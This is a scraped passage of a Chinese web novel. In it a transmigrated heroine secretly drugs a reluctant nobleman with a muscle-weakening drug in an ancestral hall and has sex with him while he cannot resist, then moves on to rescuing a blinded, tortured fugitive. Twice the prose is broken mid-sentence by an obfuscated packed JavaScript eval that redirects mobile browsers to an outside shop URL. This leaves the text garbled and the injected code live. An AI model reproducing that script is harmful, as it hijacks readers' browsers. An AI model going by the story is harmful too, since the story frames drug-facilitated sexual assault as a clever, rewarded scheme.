“看来,大公子心里仍是有我的,若不然,怎么会来赴约。” 寂静的堂内,她背对着他,幽幽道。 他朝前走,直至站定在她身后,视线落在她跪坐的身姿上。 她好像换了身衣裳,只是这件衣服领口开得有些大,他不由得皱眉,在祠堂内穿着属实不合规矩。 但他想到来此的目的,也并未多说。 “只是不想你继续误会下去,我们之间的事,需要彻底了结。” 她的手心不在焉地搅着发尾,听得他这句话,手顿了顿,站了起来。 “大公子只是想说这些吗,没有其他的了?” 不知是不是他的错觉,他觉得这祠堂里有着奇特的香气。 在她站起来的刹那,这股香气变得更浓了。 他下意识后退一步,继续道: “你说若我来赴约,此后便不再纠缠,这句话,望你能——” 她猛地凑近他,伸出食指抵住他开合的唇,整个人如蛇一般攀附上来,眼神亮得惊人,香气也顺势钻入他的鼻腔。 “嘘,我现在不想听你说这个,待会再说好吗。” 他抿唇,微微偏头,错开与她的对视。 叶冬知从供台后取出一壶酒并两个杯子,他看清后,皱眉,“你哪里来的酒,这里是祠堂,不可在此饮酒。” 又是这幅样子,守礼克制,她无比熟悉,但又无比厌恶。 她无视他的训斥,自顾自斟满了两杯酒,将其中一杯递到他跟前,“天知地知,你知我知,你不说出去,谁会知道。” “我在这里被关七日,无人与我解闷,便只好借酒消愁,大公子也不允吗?” 当然不该允。 祠堂是什么地方,这里供奉着历代先祖,庄严肃穆,不该有这等浊物在此扰了先辈们的清净。 可触及到她哀愁又失落的神色,他硬生生将话咽了回去。 罢了,就这一次而已。 他视线落到她手中的酒杯上,在祠堂内烛光的映照下,酒液散发着莹润的光泽。 允她喝,但他是万万不会喝的。 他没有接,叶冬知自然也读懂了他的意思。 她嘴角牵起一个无声的冷笑,趁他毫无防备之时,忽然踮脚扣住他的下巴,另一只手准备将酒硬灌进去。 随即,立马有一只手捉住了她的手腕,制止了她的动作。 已经过去好几日,邬涟的伤好了不少,她那些小动作,再难以轻易得逞。 她有些急,“你撒手!” 他低头看她,她哪里有半分真心想与他划清界限的模样,此时满目不忿,分明是还存着些不可告人的小心思。 恐怕前几日她离开,也只是权宜之计。 他微微用力,将她的手一点点扯开。 “啊!” 她忽地呼痛,语气瞬间娇气不少,“你弄疼我了。” 邬涟垂眸看去,她的手腕纤细,他随意就能握在手中,微微松开手后,她雪白的肌肤已经泛起了红。 他放开手,“我不会喝的。” “哼。”她闻言冷嗤一声,“我也没有那么放不下,我只是想要你陪我喝点酒,喝完酒,我就履行承诺。” “怎么,你担心酒里有东西?不敢喝吗?” 他盯着那清亮的液体未语,方才她想趁机灌酒时,他已经闻过,那酒没有其他味道。 但这并不能说明酒里真的没东西,毕竟这天下之大什么东西寻不到,无色无味的药也并不稀奇。 见他仍没有动作,她眸色也越发冷,她一口将自己那杯酒喝完,将杯子翻转过来,语气也不如开始有耐心。 “别太自作多情,你三番五次拒绝我,我早知道你的心意。我也并非非你不可,如今侯爷要与我举行大婚,我一介孤女,如今能成为侯夫人自然是求之不得,怎么还会在这节骨眼上犯蠢。” “但所有事都得有始有终,你喝完这杯,我们便算两清,我说过不再纠缠,说到做到。” 她正色看他,语气铿锵坚定。 邬涟看她片刻,终是伸出手接过那杯酒,“好。” 玉杯触之冰凉,他仰头,酒液滑进喉咙。 是很常见的酒,不会醉人。 他也将酒杯翻转过来,示意她,“我喝完了,你想要我做的事都做完了。” 她幽幽看着酒杯,看着杯子的酒一分不剩。 不过,这一点都不重要,喝不喝酒,结果都不会改变。 “在你离开之前,我还有一个请求,放心,不是什么过分的事。” 喝完那杯酒,叶冬知的脸上很快窜起一抹酡红,让她在这烛火不算明亮的空间里越发显得清纯而妩媚。 邬涟不动声色地皱眉,但既然她如此信誓旦旦,又好言相求,若是他不应,岂非显得过于刻薄。 “你说。”他觉得那股莫名的香气好像更浓了些。 但又不知道从何而来。 她放下酒杯,在他面前站定,“我想要你抱抱我。” “好吗?” 他眼睫颤了颤,是他低估了那杯酒吗,不然为何他意识恍惚了一瞬。 “可以吗?我就只有这一个要求。” 她抬头望着他,眼神期盼渴望,她规规矩矩站在那里,仿佛真的很乖巧。 他伸出手,单手揽住她的腰,另一只手绕过她的颈后,揽住她瘦弱的肩膀。 她好似的确没有什么其他动作,只是将脸埋在他胸口。 温热的呼吸透过衣衫传到他的肌肤上,好烫。 半晌后,他放开她,意识好像比方才更加恍惚,他缓了一阵后,郑重其事道,“叶小姐,此后你我,男女有别,各安其位,不必再近身相见。” 她低头盯着地上,没说好也没说不好。 言尽于此,他没必要再做什么。 邬涟迈开脚步准备离开,但忽而腿脚发软,脚步差点趔趄。 他终于意识到不对劲。 内心生出果然如此的想法,但他居然一点都不意外。 他一只手按住乱跳的额角,抬眸去看她,只觉一阵天旋地转。 在他混乱的视线中,她款款走来,然后伸手再次抱住了他。 这次,他没有推开她。 字面意义上的,不是不想,而是他浑身没了力气,连推开她这样的事都办不到。 她将他扶着,随即慢慢跪坐至地上。 仿佛是因为计谋得逞,她此刻很有耐心,手一点点划过他光洁柔顺的长发。 “为什么?” 他只觉得身上使不上劲,不仅如此,身体内仿佛还燃着一团火,正一点点要将他吞噬殆尽。 她将手指插进他的发中,轻声开口, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525181|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你来之前就应该猜到了,但你还是来了。” 他不语,头搁在她肩上,无奈地闭了闭眼。 头上陡然传来一阵轻松,是她抬手解开了他的发冠,他的头发与她的长发铺散、交缠在一起,逶迤地倾泻在两人的身上。 她的手指穿过他的发间,一下一下地梳理着,本该是很惬意的事,但他却无福享受。 他呼吸也随之变得滚烫,连带着头都有些隐隐作痛。 “药下在哪里?是那杯酒?” 她对着他的耳朵吹了口气,引得他猛然颤抖一瞬,“不是啊,我也喝了酒。” 他不解,但很快有了新的猜测,她愉悦地开口,“是你的杯沿。” 意料之中的答案。 如今后悔也没用了,他心软答应她的要求,赌她不会这样胆大包天。 可事实狠狠给了他一巴掌。 说完那句话,她的手从他的发间移开,隔着衣衫,从他的喉结一路滑到腰腹。 她的动作很轻很轻,按理来说平日他应当不会有什么反应,可此刻这样轻的触碰,反而让他体内的火烧得更旺。 她果然下了很厉害的媚药,即便连他,在有防备的情况下都中了招。 还未等他再想,她手指勾住他的腰带,微微用力,玉带随之坠地,发出一声突兀的声响。 他意识顿时清醒几分,用尽力气支起身体,“你疯了?这里是祠堂!” 她无辜地看着他,嘴角的笑却恶劣起来。 祠堂又如何,他最是重礼守教,那她偏偏要在这里亲手碾碎他所有的自持和冷漠。 叶冬知没理会他怒极的心绪,她慢条斯理地脱下他的外衫,紧接着是他的里衣。 她将他慢慢移到被子上,然后拉开了他身上最后一层遮挡。 寂静空旷的堂内,一座座供奉的牌位之下,周遭阴冷、肃穆。 烛光之中,他躺在地上,墨发散开,与他白如瓷玉的肌肤互相映衬,显得昳丽又荒唐至极。 她居高临下地打量着他的身体,如此美好,宛若一件精雕细琢的艺术品,等待着她亲手触碰、染指,然后再一点点地摧毁蹂躏。 羞耻至极的姿势,令邬涟不愿面对,他素日冷若冰霜的面庞浮上绯红,仿佛白雪上盛开的红梅。 无法抑制的情欲与羞赧交织在他的脑中,他眼尾泛着红,连同那双冷冰冰的眼都染上一层欲说还休的朦胧。 事到如今,他做不了什么,只有嘴还能言语。 “莫要一错再错,你要是做了,便再也回不了头。” 本来是充满警告的一句话,但他嗓音又沉又哑,说出来非但没让对方迟疑,反而令她轻笑了声。 她俯身贴着他,音色媚得如吃人的女妖。 “那便一起错了,就在这里,好不好,嗯?” 语罢,在他紧缩颤抖的瞳孔中,她挑开了自己的衣裳,那股奇异的香铺天盖地地笼罩了他。 此后发生的事,令他混乱至极,大脑一片空白。 背后的疼与难言的愉悦混杂在一起,冲击着他身体每处地方。 他恍惚地想。 回不了头了。 片刻后,缠绵的女声在他耳畔响起,带着喘和明媚的笑意。 “忘了告诉你,杯沿没有药,从始至终,你只是中了一点软筋散而已。” 他的脸色顿时急转直下,浑身血液顷刻间冻住。 “大公子,你根本没中媚药。” 话落的瞬间,邬涟脸上的血色褪尽,他听得她继续道: “哦,软筋散只有半个时辰的药效,从你进来到现在,药效应该早就过了。” 意识到自己是因为什么才变成现在这样,他猛地推开她,脸色难看至极。 那些被他恪守在骨子的规矩、礼教人伦,在此刻尽数碎了一地。 39. 第 39 章 他不顾背后绷开的伤口,仓惶穿好衣衫。 但一切都太晚了,那些衣衫上也全是她的气息和不可言状之物。 她好像一点也不害怕之后大婚时被义父发现,反而很有闲心地调侃他,“怎么办啊,邬涟,你看看你都做了什么?” “这下我们两个都该到你义父面前以死谢罪了呢。” 他看着她,胸膛上下起伏,唇角绷得很紧,面对她的话,他说不出一个字来。 回不了头。 道德和礼教让他无地自容,他沉默了很久,久到叶冬知以为他不会回答时,他却开口。 “我自会向义父负荆请罪,该如何罚,我都无怨言,若是义父发现了要处置你,我——” “你要如何?”她没忍住追问。 “我会安排你假死,让你出府,往后,你换个身份继续生活。” 话落,周遭陷入一片死寂,她讽刺道,“都这样了,你没想过和我在一起?” “我们发生了这样的事,你不会觉得你义父还能容忍我吧。” 她说着不由得气笑了。 “是我的责任,所有过错皆系我一人,我既让你有了误会,又未能阻止你酿下大错,身为人子,更有——” 她现在一点都不想听他的忏悔,她做的所有,都只是为了那一个目标。 叶冬知打断他的话,心里忐忑不定。 她如此顺利就做完了这件事,让她有了不少把握,但邬涟抗拒的态度,又让她心中打鼓。 她以从来没有过的郑重神色问他,“所以,你现在还能说你不喜欢我吗?” 邬涟愣了一瞬,喉结滚动,语气自厌,“......喜欢。” 终于承认了。 她不由得长舒一口气,极致的窃喜和巨大的兴奋包裹着她,令她不由得心跳飞快。 过去她最想得到的结果此刻终于实现了,仅仅如此,就够了。 至于他之后怎么想怎么做,都不重要,她得到了他的亲口承认,意味着她的攻略就此完成,她马上就能脱离世界,谁还管之后这些烂摊子事。 闻言,她释然一笑,“那就足够了。” 见他仍立在原地,她想起曾经梦中的场景,心中一凛,打算等他离开后,再让系统给她开启时空通道。 她尽量让自己的神色显得自然,“你先走吧,久了恐会让人生疑,若是之后被你义父发现,希望大公子承诺的事,可以说到做到。” 她指的是他说要帮她假死出府的事,不过也只是搪塞他的由头罢了。 外面隐隐泛起微光,是天要亮了。 天亮之后,邬镇庭派的人会来看她。 邬涟点头,沉默着走出祠堂。 他几乎是神不思蜀地回了自己的院子,这一路他都在想,怎么会变成这样。 但事情已经发生,容不得他再耗费时间纠结这些,他快速清理了身上的痕迹,才稍微静下来心来之后如何。 大婚之日,当晚义父必定会发现她已不是处子,依照义父的性子,她会面对什么几乎能猜到。 他揉了揉额角,突然生出一个荒唐的想法。 不如,现在就把她藏起来,他有自信不会让人查到蛛丝马迹,届时所有罪责他一人承担。 她不会受到一丝一毫的伤害,这是他欠她的。 焦头烂额之际,长安从院外跑进来,推开门气喘吁吁道: “公子,宫中传来消息,北狄突袭,在边境一带烧杀抢掠,已屠了两个镇子,圣上震怒,侯爷奉命出征,此刻已在城门了!” 听到消息的刹那,他居然松了一口气,但很快焦灼的战事又不得不使他正视起来。 “长安,备马出城。” * 邬涟走后,叶冬知迫不及待地在脑中询问系统。 “好感涨了吗?” 滋滋的电流声过后,系统冷冰冰的机械音响起。 【正在查询中......】 【查询到任务目标好感已暴涨。】 听到这句话,叶冬知几乎要喜极而泣。 她几乎感觉到自己浑身都因兴奋而战栗,“那我是不是已经攻略成功了?” 在系统查询的那几秒空隙,她心脏扑通扑通跳,喉头因紧张而干涩不已。 然而片刻后,系统却道: 【很遗憾,宿主攻略失败。】 “为什么!他已经亲口承认喜欢我了!这还不算攻略成功吗?”她大脑空白了一瞬,几乎是瞬间在脑海中脱口而出。 【检测到目标仍有部分好感可上涨的空间,所以判定宿主攻略失败。】 “为什么!” 她忍不住在脑海中大叫一声,这晴天霹雳的结果令她无法接受。 这意味着攻略失败,她即将要被就地抹杀。 努力了这么久,费尽心思,却还只是得到了一个失败的结果。 她不甘心,但又没有任何办法。 虽然她在脑中预想过这个结果,但真正到来时,还是免不了感觉到惧怕。 在她的战战兢兢中,系统再次开口。 【经过综合分析,此任务目标攻略难度过高,为避免重新绑定宿主浪费资源,现可为宿主更换攻略目标,攻略成功,依旧可以返回原来世界。】 【请问宿主是否接受?】 在短短时间内经历过要被抹杀的恐惧,现在有了新的选择,劫后余生的叶冬知几乎是毫不犹豫就点头确定。 “我接受。” 一阵提示音过后,系统放出新的攻略目标简要信息面板。 【叮!】 【宿主叶冬知攻略任务已重置,当下攻略目标:殷水玉。】 【发布任务:寻找受伤的攻略目标,并为其治伤。】 接收完新的信息后,叶冬知开始思索如何在大婚之日蒙混过去。 虽然处子血这玩意是因为女子尚未发育成熟,过激的房事导致的,但这群古人才不信这些,到时若没有,只怕是那邬镇庭当场便要杀了她。 不过是一些血,她想好对策后,开始收拾自己身上的痕迹。 到了傍晚,负责看守她的老嬷嬷打开门,将她放了出去。 她才知道原来今早永定侯就因战事连夜走了。 真是天助她也。 她被放回了自己的院子,洗漱一番过后,精神总算放松下来,用了些吃食后,沉沉地睡了过去。 阖府上下因邬镇庭临危受命,不得不暂时取消将要举行的大婚。 邬涟送别邬镇庭回到府中时,府里的下人们正将红绸、囍字撤下。 他驻足看了一会。 侯府原本就肃穆冷静,他在此生活了这么多年,突然到处都是红色,令他十分不习惯。 府内屋宇森严,廊庑规整,庭院广植苍松翠柏,气氛沉肃,与这红色半点都不相称。 回到自己院中,他展开待处理的卷宗,提笔时,那些记忆又如潮水一般涌来,让他丝毫无法静心。 她是如何将他玩弄于股掌之中的,每处细节,他仍历历在目。 在桌前坐了一会,他忽地想起今日她应当已经被放了出来。 他仰头朝着窗外看去,天色开始暗下来,月亮高悬于天幕之中。 昨夜,也是这般月色...... * 被关在祠堂的七日,虽有被子与蒲团,但到底地上石板还是冰凉,这七日,叶冬知没睡过一个好觉。 她睁眼时,外面已然天光大亮,日光透过窗子洒进屋内,院外阵阵蝉鸣,倒反而不显得聒噪。 府中建有一处凉亭,周围有百丈高的参天大树,凉亭置于齐下,盛夏时阴凉舒适。 用了午膳后,叶冬知屏退左右,前去凉亭纳凉。 去往凉亭的路上要穿过一条幽长的小路,平日鲜有人至。 行至一半,转角处忽然撞上了来人。 有些硬却不失弹性的触感,令她顷刻就想到了昨夜某人的胸膛。 她猝不及防,被撞得后退一步,鞋履踩在路上湿滑的小石子上,令她身子不由得偏向一侧。 一只手臂牢牢地扶住她的后腰,避免她摔倒。 熟悉的味道,清新的皂角味道混着檀香,她抬头时,果然看到那双如墨玉般漆黑的眼。 “没事吧?” 头顶传来他的询问,和往常一般,清冷而疏离克制。 她站定后,下意识往后退了一步,既然如今她的攻略对象已经更换,那她与邬涟,自然没有什么可说的。 至于昨晚......她还算满意。 不仅也就仅此而已。 察觉到她的动作,邬涟的神色不变,唯有他的眉微不可察地皱了一下。 才一日,便开始躲他了吗? 但她如此也情有可原,发生了那样的事后,任凭她如何说如何做,他依然义正词严地拒绝了她。 她待他这般态度是应该的。 进一步来说,他该欣慰她如此态度。 “无事。” 她敷衍应了句,顺手理了理一侧滑落的薄衫,视线才落在对方身上。 今日日头大,她嫌热,便只穿了一件衣裳,就这,她犹嫌不足。 但邬涟居然还是穿着里外三层衣裳,高束的衣领将他的脖颈遮得严严实实,一眼看去,他仍旧是那个端方雅正,清冷不可亵渎的大公子。 哦,她倒是差点忘了。 若不穿得这样严实,那他身上那些痕迹可就要暴露无遗。 她视线扫过他的上半身,没记错的话,他脖颈上有三处,锁骨两处,胸前五处,腰腹四处。 昨夜他中了软筋散,虽身不能动,但某些地方可分外兴致勃勃。 她受不了,便只能咬他泄气。 但如今也不重要了,毕竟尝过的东西,就算再尝,也不如一开始惊艳了。 想着,她不欲与他多说,从他身侧借过,荡起的衣角擦过他紧攥的手掌,干脆利落,也疏远冷漠。 仿佛这才是他们之间该有的距离。 邬涟立在原地,长睫在眼下覆出一片阴影,盖住他眸中神色。 若不是身前烙印的痕迹是真的话,他差点都要以为过往之事只是他的一场梦境了。 但叶冬知没再纠结之前的事,到了凉亭之后,她倚在冰凉排汗的凉椅上,开始思索她的新攻略对象。 系统只说新目标受了伤需要救治,但并未告诉她人在哪里。 思及此,她打算这几天都出去转转,看能不能碰碰运气,既然是新选中的目标,总不能这几天都熬不过,没等到她来救他就死了吧。 接下来的几日,她几乎每日都要出府,但很可惜,她的运气很差,几日过去,依旧没遇到新目标。 玉笙居。 长安将她最近几日的动向汇报完后,有些疑惑,“公子,属下已经派人盯了几日,叶小姐平日不过是出门买点首饰、衣裳、糕点,并无不妥。” 邬涟听罢,没有回答。 说不上来她到底哪里不对劲,但他直觉,她与之前不一样了。 长安在一侧睨着邬涟的神色,心中不由得腹诽。 还叶小姐不对劲呢,依他看,公子怕是没发现最不对劲的其实是自己吧。 也是那晚上他出去办事了,不知道公子与叶小姐之间到底发生了什么,只知道等他匆匆忙忙回到侯府,告诉公子侯爷临时出征时,公子的神色居然不是担忧,而像是暗暗松了口气。 至于到底松的什么气,他至今也没想明白。 从那之后,公子处理公务时便时常发愣,虽然看起来并不明显,神色也无变化,但他跟了公子这么些年,一眼就瞧出来公子有心事。 但主子不说,他又不能问。 还有一个怪象,最近几日公子每晚沐浴都比平日久一些,而且中途比平时多换一次水,还有最近天这么热,纵使公子不怕热,但搁往年这时候也换上了薄衫,今年居然还穿着里外三层衣裳。 被盯梢的叶冬知毫无察觉,今日是她更换攻略目标的第九日,她在茶楼停了书,又去买了新的胭脂,逛了好几条街,依旧没看到那所谓等待着她拯救的殷水玉。 直到又过了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525182|203452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日,她的任务才终于有了些许起色。 这日她照例出门,遇上了许久没见的凌婵,一时高兴多聊了几句。 回府时,天色陡然昏暗下来。 乌云蔽日,一道雷声自远处轰隆隆响起,紧接着,雷声越发地近,一道闪电过后,天下起了瓢泼大雨。 她与阿蔷出来时并未乘坐马车,眼下雨这么大,撑着伞走也会被淋湿,索性,她带着阿蔷在一处店铺屋檐下避雨。 雨势正盛,短时间内应当没有停下来的趋势,街上的行人都捂着头到处寻找避雨的地方。 雨滴噼里啪啦砸在青石地板上,渗入两侧的缝隙中。 雨帘之中,忽而传来一阵马蹄声,车轱辘碾过石板的声音格外清晰。 马车低调素净,车檐下挂着銮铃,随着行驶发出清脆的响声。 长安架着马,敏锐地发现了站在廊下躲雨的主仆二人,他放缓了速度,对车内道: “公子,叶小姐在前面的屋檐下躲雨。” 车内。 邬涟揉了揉额角,放下手中的陈年卷宗。 这次他奉命去查多年前的一桩血案,要下江南,短则三个月,长则半载。 这桩案子证据缺失,当年的证人如今都已去世,查起来想必会非常棘手。 听到长安的话,他愣了愣。 好像是有些日子没听到她的消息了。 还没等他说话,长安便在车外开口:“公子,要不属下叫人去驾车来送叶小姐回府,若是我们送她回府的话,估计要赶不上时辰了,徐大人约好申时在城门处等我们。” 车内的人沉默片刻,“先送她回府吧,雨势这么大,不知她要等到何时。” 长安闭了嘴,他就不该多言,本来有事就晚了些时辰才出门,这回等送完叶小姐,估计那守时的徐大人在路上可得发好大一通牢骚。 公子冷面寡言,那徐大人虽然不惧公子的权势,但顶多也就说公子两句,可徐大人剩下没撒完的怒火,八成是全要落在他自个儿身上了。 京中谁人不知,这徐大人连皇帝都敢骂,他一个小小侍从又算得了什么,他几乎可以预见这徐大人能变着花样在路上骂他两个时辰的景象了。 想到这,长安的心情便如同这昏沉的天色,他心如死灰地驾车驶向那处店铺。 马儿一声嘶鸣过后,马车稳稳停了下来。 邬涟掀开车帘,目光落到在檐下躲雨的少女身上,“上车吧,送你回府。” 叶冬知抬眸看他,倒是有些意外。 不过她也不矫情,在不知何时才能停的雨和舒适宽敞的马车中,她当然选择后者。 她道了声“多谢”便钻进了马车中。 车内如她想的很宽敞,装饰素净,车内燃着不知名的熏香,闻起来使人宁心静气。 如若邬涟没在里面就更好了。 两人有一段日子没见,加上此前的种种,这一时半会,她竟觉有几分尴尬和不自在。 车内一时安静不已。 邬涟手中握着卷宗,但余光一直在注意她的动向。 她好像果真和之前不一样了,以往她要不便叽叽喳喳说话与他套近乎,要么便对他动手动脚,可如今,她乖乖坐在那里,安分得不得了。 他的手不自觉用力,直到卷宗上出现了明显的褶皱,才终于开口: “我今日便要出城去苏州查一桩旧案,要去很久。” 她掀起眼皮看了他一眼,说道,“哦,那大公子路上小心。” 极为客套和敷衍的一句说辞。 连一点关心都没有,也不问他何时回来。 对于他们敏感的身份,明明这样的态度无比合适,但他却有些怅然。 该是因为不习惯吧。 他如此在心里对自己说。 “长安,雨天路滑,行得慢些。”他忽而说了一句。 长安在外听着,应了。 真是稀奇啊,这京都里的地很平,又有专人打扫,既无突起的石子,又无碍事的秽污,就算是在雨天跑马,也不见得会滑到。 然片刻后,长安明白过来,无奈地笑了笑。 阿蔷在一旁奇怪,“你突然笑什么?” 长安叹气,“哎,我笑我自己,命苦哟。” 当然,这句话他是压着声音说的,不敢让公子听见。 阿蔷闻言嗤了一声,要说命苦,他倒算不上,跟着大公子虽然累,但月例可比某些官员还多,旁人知道他是大公子身边最得力的侍从,都得给他三分薄面,有什么命苦的。 车内两人都没说话,只剩下书页翻动的声音。 叶冬知原本在盯着车里的陈设发呆,忽而脑海中响起系统的提示,系统告诉她,新的攻略目标,就在附近。 她一听就来了精神,找了这么久,可算遇到了。 掀开帘子朝外看去,依旧还是街景,离着侯府还有一段距离,她对邬涟说: “大公子就在这附近停下吧,我突然想起我还有些东西要买。” 他敛眸,“雨势还很大。” 言下之意,是让她呆在车里。 “无妨,你方才说你还要出城,我便不耽搁你了,等雨小点我会回去的,这里离府不算远。” 她拒绝了,神色已隐约有些不耐。 邬涟看了她半晌,低声回,“好。” 长安特意寻了一处地势高的地方停车,这样马车内的人下来时,便不用担心污水沾湿衣摆。 阿蔷在车外撑伞,邬涟默不作声盯着她的背影,见她利落下了马车,丝毫没有留恋。 很快,她疏离的声音从马车外传来,“大公子,多谢你的马车,此去一路顺风。” 一路顺风,又是一句客套话。 以前他总觉得她不懂礼数,时常做出出格之事,曾动过好好教习她礼仪的念头,如今看来,她也并非全然不懂。 只是那时,她不想守而已。 而今,却是做得令人无可挑剔。 他忽而不想再听她的声音,甚至于现在不想见她,沉声对车外道,“走吧。” 40. 第 40 章 车轮碾过石板的声音再度响起,等马车驶出视线后,叶冬知接过阿蔷手中的伞,开始在附近的几条小巷找人。 阿蔷见状,好奇问她,“小姐,咱们不买东西了?” “不买了。” 纵然不解,阿蔷也没再多问,老实跟在她身后。 此处是景盛坊,与素有烟花柳巷之称的平乐坊仅仅只隔着一条街。 这里白日安静萧条,只见得一些做生意的商铺开着,可一到晚上,从景盛坊的灯火一路延伸到平乐坊,歌舞升平,一座座花楼装潢雅致,结灯挂彩,从远处看去倒像是座座仙宫。 去平乐坊的既有达官贵人,亦有平头百姓,来往之人涉及到各行各业,到此处都只为了逍遥快活。 是以,鱼龙混杂之地,必然多地痞流氓。 流民、乞丐最常聚集在其中一条巷子里,与平乐坊一墙之隔,但却仿佛是两个世界。 隔壁雕梁画栋,这里却肮脏恶臭。 叶冬知站在这条巷子的入口处,看见地上七歪八斜地躺着许多乞丐和醉汉,皆衣衫不整、蓬头垢面。 有几个醒着的,看到巷口处站着一个画像一般的女子,身穿锦衣华服,头戴宝钗,都以为自己眼花了。 这等腌臜之地,怎么会有贵人来? 揉了揉眼睛确认自己没看错后,几个乞丐挣扎着一拥而上,拿着手里的破碗,围着叶冬知道: “贵人您行行好,可怜可怜我们吧,我们几个已经有两日没吃过饭了。” “贵人,贵人,您发发善心吧。” 阿蔷挡在叶冬知面前,捂着鼻子,“去去去,冲撞了我家小姐你们赔得起吗,让开些!” 几个乞丐闻言让开了些,但没离开,仍然眼巴巴地望着叶冬知。 她朝阿蔷示意,阿蔷会意后,将一串铜板扔了出去,顿时一堆人在地上哄抢起来。 绕开这群乞丐,她将视线落到这条巷子的尽头,逼仄昏暗,透不进光,泛着死气。 得了便宜后,一个乞丐注意到她的目光,连忙说,“贵人!前面您还是不要去了,那里都是快死的人,您去了,怕是要被吓到。” 方才她已经找了几条巷子,都不见那殷水玉的影子,如今,只剩下这最后一条。 没理会乞丐的劝阻,她提起裙摆,一步步朝着巷道深处走去。 越往里走,那股恶臭便越刺鼻。腐烂的食物、秽污、发臭的湿泥混杂在一起,几乎要令人呼吸不过来。 她屏着呼吸,在一处靠墙而坐的身影面前停住。 即便形销骨立,狼狈不堪,衣衫也已经被污泥、血水沾染得不成样子,但不难看出这具身体肩宽腿长,较之旁人简直出色太多。 头发上沾满污泥,干了之后头发一缕缕僵直混乱地耷拉在身上,盖住了脸。 露出的手腕和小臂瘦得只剩下骨头,其间遍布伤痕和未完全愈合的伤口。 还未完全断气,但已经散发出一种将死之人的暮气。 唯一的一缕光猛地被人遮挡,那点仅有的温度也在此刻消散殆尽。 殷水玉连睁眼的力气都没有,准确来说,他应该已经瞎了,在逃出西凤山之后,他还是被追上了。 挣扎之中,他的两只眼睛被刀刃划过,霎时便传来一阵难以言喻的刺痛。 很快,他看不见了,然后失足掉进了山谷。 大腿、手臂、胸腔被树枝、砾石穿透、割破,浑身骨头仿佛被折断,在终于落地的刹那,他失去了意识。 醒来时,他发现自己浑身被水泡透,肌肤肿胀,伤口进一步溃烂发脓,每每挪动一步,身上的伤都带来钻心的疼痛。 但他十分庆幸,就算如此,他依然还活着。 他看不见,只能一点点摸索,饥饿、疼痛无时无刻不在折磨着他。 可他内心却有种从来没有过的兴奋,十九年来,这是他第一次真正逃出来,即便要付出如此沉重的代价。 好在,他走了很久也并没有人追来,兴许是以为他瞎了眼,又掉下山崖,怎么都是活不了的。 又走了许久,他发现周遭的声音忽然变得热闹起来,他才意识到,他应该是进了城。 周围人对他避之不及,很快,他就被驱赶到一处阴冷湿臭的地方。 最开始时,有人可怜他,会给他一点吃的,久了之后,似乎是发现他伤势太重,估计没几日可活了,于是,再也没有人分给他半个馊掉的馒头。 他蜷缩在角落里,明明日头很大,但他却觉得好冷好冷。 前些日子下了大雨,周遭的人都找地方避雨了,唯有他断了腿,没办法挪到,只能硬生生淋了一整晚的雨。 再醒来时,他头痛欲裂,昏昏沉沉,口鼻间的呼吸灼热不已,意识也逐渐模糊起来。 他听见有人说: “命可真硬啊,这都快半个月了吧,没怎么吃东西,伤成这样,居然还没死。” “不过估计快了,你看他现在连抬头的力气都没了,约摸着也就这两天了。” 后面的话他再也听不清了。 又不知过了多久,他醒了,但这次,他觉得自己仿佛身在冰窖。 冷得他忍不住紧紧蜷缩起来,即便外面是盛夏,也无法令他感觉到有丝毫温暖。 听人说,人要死了,便会觉得冷。 所以,他真的要死了吗...... 殷水玉好不甘心,明明终于逃了出来,却只落得个这样的结局。 他微微动了动,胸前被硬物硌住,他茫然地想了很久,才想起来那是一枚簪子。 是他刚逃出来时,一个恍若仙子的贵女给他的,只可惜如今,他连她的样貌都记不清楚了,只记得她耳垂上坠着的白玉珠子,是这段逃亡的时间里,他见过最澄澈纯净的东西。 好冷。 好冷。 他记得自己应该处于闹市的一个角落,平日总是十分吵闹,但此刻这些声音像云一般渐渐远去,慢慢归于平静。 过往漆黑的地牢、滴在皮肤上滚烫的红烛、游走在全身锋利的刀尖,都渐渐在他脑海中散去。 也好。 死了也好。 他觉得自己缓缓陷入虚无,周遭一切都模糊不清,他仿佛浮在漆黑的空间里,这里什么也没有,不冷、不痛、不饿,只有无穷无尽的困倦。 在这片虚无中,突然夹杂着一丝奇异的味道,淡淡的香味,和这处的肮脏格格不入。 是错觉吧,他居然还听见有人说话: “把他......府中......” 不过一切都不重要了。 * 再次醒来时,殷水玉惊觉有些不对劲。 身下是舒适干燥的床榻,身上盖着柔软馨香的锦被,身体被人打理过,不再散发着难闻的恶臭,一切都恍在梦中,那样不真实。 是死了吗? 原来说人死了会去往极乐世界是真的,不然,如何解释他现在所面临的一切。 他抬了抬手,发觉自己的手好像被裹住了,无法动弹。 他又试图坐起来,却忽然听到一声惊慌的叫声: “你干什么?!大夫说你不能乱动,身上全是伤,差点就救不回来了!” 满贵刚将熬好的药端进来,就看见床榻上裹得不成人形的人,竟然要试图下床,差点给他魂都吓没。 他是叶小姐调来伺候这个被捡来的人的,以前他在外院干杂役,叶小姐看中他能吃苦,人又老实勤快,给了他双倍的月例,让他来此照顾这人。 这份差事不难,重要的是细致,难得的好差事,满贵可不想失去。 听到满贵的声音,殷水玉顿了一下,紧接着,刻入骨髓的恶心和抗拒令他不由得浑身战栗起来。 男人的声音。 从满贵的话,他听出来他并没有死,相反,他十分幸运被人救下,如此细致的照顾,想必救下他的人应当非富即贵。 过往的经历令他几乎瞬间就想起不堪的往事。 